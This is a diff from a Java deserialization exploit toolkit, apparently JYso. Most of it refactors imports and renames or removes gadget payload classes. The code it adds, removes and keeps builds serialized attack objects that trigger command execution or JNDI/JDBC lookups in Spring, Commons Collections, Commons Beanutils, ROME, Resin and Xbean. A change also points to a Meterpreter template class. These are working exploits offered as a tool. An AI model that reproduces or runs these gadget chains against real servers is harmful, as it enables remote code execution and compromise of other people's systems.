import javax.servlet.ServletResponse;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
* ValueExpressionImpl.getValue(ELContext)
@@ -1,5 +1,7 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
@Override
public Object getObject(String command) throws Exception {
@@ -7,7 +7,7 @@ import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/**
@@ -8,8 +8,8 @@ import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates;
import java.util.Map;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
@Dependencies("rome:rome:1.0")
public class ROME2 implements ObjectPayload<Object> {
@@ -21,10 +21,10 @@ public class ROME2 implements ObjectPayload<Object> {
EqualsBean bean = new EqualsBean(String.class, "");
Map map1 = Gadgets.createMap("aa", o);
Map map1 = createMap("aa", o);
map1.put("bB", bean);
Map map2 = Gadgets.createMap("aa", bean);
Map map2 = createMap("aa", bean);
map2.put("bB", o);
Reflections.setFieldValue(bean, "_beanClass", Templates.class);
@@ -5,6 +5,8 @@ import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method
@@ -29,7 +31,7 @@ public class ROMEJDBC implements ObjectPayload<Object> {
}
public Object makeHashCodeTrigger(Object o1) throws Exception {
return JDKUtil.makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
}
}
@@ -11,11 +11,13 @@ import java.lang.reflect.Constructor;
import java.net.URI;
import java.util.Hashtable;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
public class Resin implements ObjectPayload<Object> {
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
return makeMap(o, xString);
}
public static String unhash(int hash) {
@@ -1,17 +0,0 @@
package com.qi4l.JYso.gadgets;
import javax.script.ScriptEngineFactory;
public class ServiceLoader implements ObjectPayload<Object> {
public static Object makeServiceLoader(UtilFactory uf, String[] args) throws Exception {
return uf.makeIteratorTrigger(JDKUtil.makeServiceIterator(JDKUtil.makeURLClassLoader(args[0]), ScriptEngineFactory.class));
}
@Override
public Object getObject(String command) throws Exception {
UtilFactory uf = new UtilFactory();
String args[] = {command};
return makeServiceLoader(uf, args);
}
}
@@ -24,11 +24,10 @@ import java.lang.reflect.*;
import java.math.BigInteger;
import java.util.*;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Reflections.getFieldValue;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
import static com.qi4l.JYso.gadgets.utils.Serializer.serialize;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName;
/**
@@ -207,9 +206,9 @@ public class SignedObject implements ObjectPayload<Object> {
// Spring-Core 二次反序列化
public Object getSignedObjectWithSpring(Object serObj) throws Exception {
Object obj = SignedObjectUtils.warpWithSignedObject((Serializable) serObj);
ObjectFactory<?> objectFactoryProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", obj), ObjectFactory.class);
ObjectFactory<?> objectFactoryProxy = createMemoitizedProxy(createMap("getObject", obj), ObjectFactory.class);
Type typeTemplatesProxy = createProxy((InvocationHandler) Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler").newInstance(objectFactoryProxy), Type.class, java.security.SignedObject.class);
Object typeProviderProxy = Gadgets.createMemoitizedProxy(Gadgets.createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
Object typeProviderProxy = createMemoitizedProxy(createMap("getType", typeTemplatesProxy), forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor<?> mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
final Object mitp = mitpCtor.newInstance(typeProviderProxy, Object.class.getMethod("getClass"), 0);
@@ -12,7 +12,7 @@ import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName;
/**
@@ -56,14 +56,14 @@ public class Spring1 implements ObjectPayload<Object> {
templates = Gadgets.createTemplatesImpl(command);
final ObjectFactory objectFactoryProxy =
Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), ObjectFactory.class);
createMemoitizedProxy(createMap("getObject", templates), ObjectFactory.class);
final Type typeTemplatesProxy = createProxy((InvocationHandler)
Reflections.getFirstCtor("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler")
.newInstance(objectFactoryProxy), Type.class, Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
final Object typeProviderProxy = createMemoitizedProxy(
createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
final Constructor mitpCtor = Reflections.getFirstCtor("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
@@ -11,7 +11,7 @@ import javax.xml.transform.Templates;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.*;
import static java.lang.Class.forName;
/**
@@ -49,8 +49,8 @@ public class Spring2 implements ObjectPayload<Object> {
Type.class,
Templates.class);
final Object typeProviderProxy = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getType", typeTemplatesProxy),
final Object typeProviderProxy = createMemoitizedProxy(
createMap("getType", typeTemplatesProxy),
forName("org.springframework.core.SerializableTypeWrapper$TypeProvider"));
Object mitp = Reflections.createWithoutConstructor(forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider"));
@@ -1,36 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
public class SpringAbstractBeanFactoryPointcutAdvisor implements ObjectPayload<Object> {
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
@Override
public Object getObject(String command) throws Exception {
return makeBeanFactoryPointcutAdvisor(command);
}
public Object makeBeanFactoryPointcutAdvisor(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerBFPA(uf, jndiUrl, bf);
}
}
@@ -1,60 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException;
public class SpringPartiallyComparableAdvisorHolder implements ObjectPayload<Object> {
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", name);
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
// make readObject happy if it is called
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
return uf.makeToStringTriggerUnstable(pcah);
}
@Override
public Object getObject(String command) throws Exception {
return makePartiallyComparableAdvisorHolder(command);
}
public Object makePartiallyComparableAdvisorHolder(String args) throws Exception {
String jndiUrl = args;
UtilFactory uf = new UtilFactory();
BeanFactory bf = makeJNDITrigger(jndiUrl);
return makeBeanFactoryTriggerPCAH(uf, jndiUrl, bf);
}
}
@@ -1,20 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.config.PropertyPathFactoryBean;
public class SpringPropertyPathFactory implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiUrl = command;
BeanFactory bf = SpringUtil.makeJNDITrigger(jndiUrl);
PropertyPathFactoryBean ppf = new PropertyPathFactoryBean();
ppf.setTargetBeanName(jndiUrl);
ppf.setPropertyPath("foo");
Reflections.setFieldValue(ppf, "beanFactory", bf);
return ppf;
}
}
@@ -1,108 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.commons.logging.impl.NoOpLog;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.beans.factory.support.DefaultListableBeanFactory;
import org.springframework.beans.factory.support.RootBeanDefinition;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import java.lang.reflect.InvocationTargetException;
import java.util.HashSet;
import java.util.Map;
/**
* @author mbechler
*
*/
public final class SpringUtil {
/**
*
*/
private SpringUtil() {
}
public static BeanFactory makeJNDITrigger(String jndiUrl) throws Exception {
SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
bf.setShareableResources(jndiUrl);
Reflections.setFieldValue(bf, "logger", new NoOpLog());
Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());
return bf;
}
public static BeanFactory makeMethodTrigger(Object o, String method) throws Exception {
DefaultListableBeanFactory bf = new DefaultListableBeanFactory();
RootBeanDefinition caller = new RootBeanDefinition();
caller.setFactoryBeanName("obj");
caller.setFactoryMethodName(method);
Reflections.setFieldValue(caller.getMethodOverrides(), "overrides", new HashSet<>());
bf.registerBeanDefinition("caller", caller);
Reflections.getField(DefaultListableBeanFactory.class, "beanClassLoader").set(bf, null);
Reflections.getField(DefaultListableBeanFactory.class, "alreadyCreated").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "singletonsCurrentlyInCreation").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "inCreationCheckExclusions").set(bf, new HashSet<>());
Reflections.getField(DefaultListableBeanFactory.class, "logger").set(bf, new NoOpLog());
Reflections.getField(DefaultListableBeanFactory.class, "prototypesCurrentlyInCreation").set(bf, new ThreadLocal<>());
@SuppressWarnings("unchecked")
Map<String, Object> objs = (Map<String, Object>) Reflections.getFieldValue(bf, "singletonObjects");
objs.put("obj", o);
return bf;
}
public static Object makeBeanFactoryTriggerBFPA(UtilFactory uf, String name, BeanFactory bf) throws Exception {
DefaultBeanFactoryPointcutAdvisor pcadv = new DefaultBeanFactoryPointcutAdvisor();
pcadv.setBeanFactory(bf);
pcadv.setAdviceBeanName(name);
return uf.makeEqualsTrigger(pcadv, new DefaultBeanFactoryPointcutAdvisor());
}
/**
* @param jndiUrl
* @param bf
* @return
* @throws ClassNotFoundException
* @throws NoSuchMethodException
* @throws InstantiationException
* @throws IllegalAccessException
* @throws InvocationTargetException
* @throws Exception
*/
public static Object makeBeanFactoryTriggerPCAH(UtilFactory uf, String name, BeanFactory bf) throws ClassNotFoundException,
NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, Exception {
AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", bf);
Reflections.setFieldValue(aif, "name", name);
AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
// make readObject happy if it is called
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahCl = Class
.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahCl);
Reflections.setFieldValue(pcah, "advisor", advisor);
return uf.makeToStringTriggerUnstable(pcah);
}
}
@@ -1,78 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.Constructor;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import java.util.function.Function;
public class ToStringUtil {
public static Object makeToStringTrigger(Object o, Function<Object, Object> wrap) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(wrap.apply(o), wrap.apply(xString));
}
public static Object makeToStringTrigger(Object o) throws Exception {
String unhash = unhash(o.hashCode());
XString xString = new XString(unhash);
return JDKUtil.makeMap(o, xString);
}
public static Object makeJohnzonToStringTrigger(Object o) throws Exception {
Class<?> clz = Class.forName("org.apache.johnzon.core.JsonObjectImpl"); //$NON-NLS-1$
Constructor<?> dec = clz.getDeclaredConstructor(Map.class);
dec.setAccessible(true);
HashMap<Object, Object> m = new HashMap<>();
Object jo = dec.newInstance(m);
m.put(o, o);
XString toStringTrig = new XString("");
return Arrays.asList(jo, JDKUtil.makeMap(jo, toStringTrig));
}
public static Object makeSpringAOPToStringTrigger(Object o) throws Exception {
return makeToStringTrigger(o, x -> {
return new HotSwappableTargetSource(x);
});
}
public static String unhash(int hash) {
int target = hash;
StringBuilder answer = new StringBuilder();
if (target < 0) {
// String with hash of Integer.MIN_VALUE, 0x80000000
answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");
if (target == Integer.MIN_VALUE)
return answer.toString();
// Find target without sign bit set
target = target & Integer.MAX_VALUE;
}
unhash0(answer, target);
return answer.toString();
}
private static void unhash0(StringBuilder partial, int target) {
int div = target / 31;
int rem = target % 31;
if (div <= Character.MAX_VALUE) {
if (div != 0)
partial.append((char) div);
partial.append((char) rem);
} else {
unhash0(partial, div);
partial.append((char) rem);
}
}
}
@@ -1,31 +0,0 @@
package com.qi4l.JYso.gadgets;
import java.util.Comparator;
public class UtilFactory {
// 实现接口中的所有方法
public Object makeHashCodeTrigger(Object o1) throws Exception {
return JDKUtil.makeMap(o1, o1);
}
public Object makeEqualsTrigger(Object tgt, Object sameHash) throws Exception {
return JDKUtil.makeMap(tgt, sameHash);
}
public Object makeToStringTriggerUnstable(Object obj) throws Exception {
return ToStringUtil.makeSpringAOPToStringTrigger(obj);
}
public Object makeToStringTriggerStable(Object obj) throws Exception {
return ToStringUtil.makeToStringTrigger(obj);
}
public Object makeIteratorTrigger(Object it) throws Exception {
return JDKUtil.makeIteratorTriggerNative(this, it);
}
public Object makeComparatorTrigger(Object tgt, Comparator<?> cmp) throws Exception {
return JDKUtil.makeTreeMap(tgt, cmp);
}
}
@@ -1,24 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.xbean.naming.context.ContextUtil.ReadOnlyBinding;
import org.apache.xbean.naming.context.WritableContext;
import javax.naming.Context;
import javax.naming.Reference;
import java.net.URI;
public class Xbean implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
//需要处理command
UtilFactory uf = new UtilFactory();
Context ctx = Reflections.createWithoutConstructor(WritableContext.class);
URI uri = new URI(command);
String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)};
Reference ref = new Reference("foo", args[1], args[0]);
ReadOnlyBinding binding = new ReadOnlyBinding("foo", ref, ctx);
return uf.makeToStringTriggerUnstable(binding); // $NON-NLS-1$
}
}
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
public class cb1183 implements ObjectPayload<Object> {
public class cb183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
@@ -1,41 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
import static com.qi4l.JYso.gadgets.utils.Reflections.setFieldValue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
public class cb2183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// 修改BeanComparator类的serialVersionUID
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
setFieldValue(comparator, "property", "lowestSetBit");
PriorityQueue<Object> queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
setFieldValue(comparator, "property", "outputProperties");
Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
}
@@ -1,48 +0,0 @@
package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections;
import com.qi4l.JYso.gadgets.utils.SuClassLoader;
import com.sun.rowset.JdbcRowSetImpl;
import javassist.ClassClassPath;
import javassist.CtClass;
import java.math.BigInteger;
import java.util.Comparator;
import java.util.PriorityQueue;
import static com.qi4l.JYso.gadgets.Config.Config.POOL;
import static com.qi4l.JYso.gadgets.utils.InjShell.insertField;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
public class cb3183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
String jndiURL = null;
if (command.toLowerCase().startsWith("jndi:")) {
jndiURL = command.substring(5);
}
POOL.insertClassPath(new ClassClassPath(Class.forName("org.apache.commons.beanutils.BeanComparator")));
final CtClass ctBeanComparator = POOL.get("org.apache.commons.beanutils.BeanComparator");
insertField(ctBeanComparator, "serialVersionUID", "private static final long serialVersionUID = -3490850999041592962L;");
final Comparator comparator = (Comparator) ctBeanComparator.toClass(new SuClassLoader()).newInstance();
Reflections.setFieldValue(comparator, "property", null);
Reflections.setFieldValue(comparator, "comparator", String.CASE_INSENSITIVE_ORDER);
JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiURL);
rs.setMatchColumn("qi4l");
PriorityQueue queue = new PriorityQueue(2, comparator);
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
Reflections.setFieldValue(comparator, "property", "databaseMetaData");
Reflections.setFieldValue(queue, "queue", new Object[]{rs, rs});
ctBeanComparator.defrost();
return queue;
}
}
@@ -19,7 +19,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
@Authors({"SummerSec"})
public class CommonsBeanutilsAttrCompare183 implements ObjectPayload<Object> {
public class cb_AttrCompare183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
@@ -14,7 +14,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({"水滴"})
public class CommonsBeanutilsAttrCompare192 implements ObjectPayload<Object> {
public class cb_AttrCompare192 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({Authors.QI4L})
public class CommonsBeanutilsJDBC implements ObjectPayload<Object> {
public class cb_JDBC implements ObjectPayload<Object> {
public Object getObject(String command) throws Exception {
if (!command.toLowerCase().startsWith("jdbc:")) {
throw new Exception("Command format is: eviljdbcurl");
@@ -11,7 +11,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1"})
@Authors({Authors.QI4L})
public class CommonsBeanutilsJNDI implements ObjectPayload<Object> {
public class cb_JNDI implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
@@ -17,7 +17,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "org.apache.commons:commons-lang3:3.10", "commons-beanutils:commons-beanutils:1.7X"})
@Authors({"SummerSec"})
public class CommonsBeanutilsObjectToStringComparator183 implements ObjectPayload<Object> {
public class cb_ObjectToStringComparator183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
@@ -17,7 +17,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.8.3", "commons-beanutils:commons-beanutils:1.7X"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource183 implements ObjectPayload<Object> {
public class cb_PropertySource183 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
@@ -12,7 +12,7 @@ import java.util.PriorityQueue;
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2"})
@Authors({"SummerSec"})
public class CommonsBeanutilsPropertySource192 implements ObjectPayload<Object> {
public class cb_PropertySource192 implements ObjectPayload<Object> {
@Override
public Object getObject(String command) throws Exception {
final Object template;
+3 -1
View File
@@ -14,6 +14,8 @@ import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
/**
* Gadget chain:
* ObjectInputStream.readObject()
@@ -52,7 +54,7 @@ public class cc1 implements ObjectPayload<InvocationHandler> {
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);// 反射修改iTransformers属性会触发反序列化
+3 -1
View File
@@ -17,6 +17,8 @@ import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.createMemoitizedProxy;
/**
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
@@ -49,7 +51,7 @@ public class cc3 implements ObjectPayload<Object> {
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final Map mapProxy = createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
@@ -22,7 +22,7 @@ import java.net.URLClassLoader;
import java.util.ArrayList;
import java.util.HashMap;
import static com.qi4l.JYso.gadgets.JDKUtil.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
public class springFs implements ObjectPayload<Object>, Serializable {
public static ClassPool pool = ClassPool.getDefault();
@@ -40,7 +40,7 @@ public class ClassByteChange {
cPool.importPackage("java.io.OutputStream");
cPool.importPackage("java.util.HashMap");
//获取该class对象
CtClass cClass = cPool.get("Meterpreter");
CtClass cClass = cPool.get("com.qi4l.JYso.template.Meterpreter");
//获取到对应的方法
CtMethod cMethodHost = cClass.getDeclaredMethod("initLhost");
@@ -49,7 +49,7 @@ public class ClassByteChange {
//替换原有的文件
cClass.writeFile(ap);
InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "Meterpreter.class"));
InputStream in = Files.newInputStream(Paths.get(ap + File.separatorChar + "com.qi4l.JYso.template.Meterpreter.class"));
return Utils.getBytes(in);
@@ -0,0 +1,8 @@
package com.qi4l.JYso.gadgets.utils;
/**
* @author mbechler
*/
public interface DynamicDependencies {
}
@@ -1,6 +1,5 @@
package com.qi4l.JYso.gadgets.utils;
import com.qi4l.JYso.gadgets.JDKUtil;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
@@ -14,7 +13,6 @@ import java.util.HashMap;
import java.util.Map;
import static com.qi4l.JYso.gadgets.Config.Config.*;
import static com.qi4l.JYso.gadgets.JDKUtil.createProxy;
import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile;
import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField;
import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD;
@@ -47,20 +45,11 @@ public class Gadgets extends ClassLoader {
}
}
public static <T> T createMemoitizedProxy(final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map<String, Object> map) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static Map<String, Object> createMap(final String key, final Object val) {
return JDKUtil.createMap(key, val);
}
public static Object createTemplatesImpl(String command) throws Exception {
command = command.trim();
@@ -79,7 +68,7 @@ public class Gadgets extends ClassLoader {
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
if (command.startsWith("EX-") || command.startsWith("LF-")) {
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else {
// 普通的命令执行
@@ -156,7 +145,7 @@ public class Gadgets extends ClassLoader {
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
if (command.startsWith("EX-") || command.startsWith("LF-")) {
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else {
// 普通的命令执行
@@ -229,7 +218,7 @@ public class Gadgets extends ClassLoader {
POOL.get(ABST_TRANSLET.getName());
// 扩展功能
if (command.startsWith("EX-") || command.startsWith("LF-")) {
if (command.startsWith("LF-")) {
ctClass = generateClass(command, newClassName);
} else {
// 普通的命令执行
@@ -294,8 +283,4 @@ public class Gadgets extends ClassLoader {
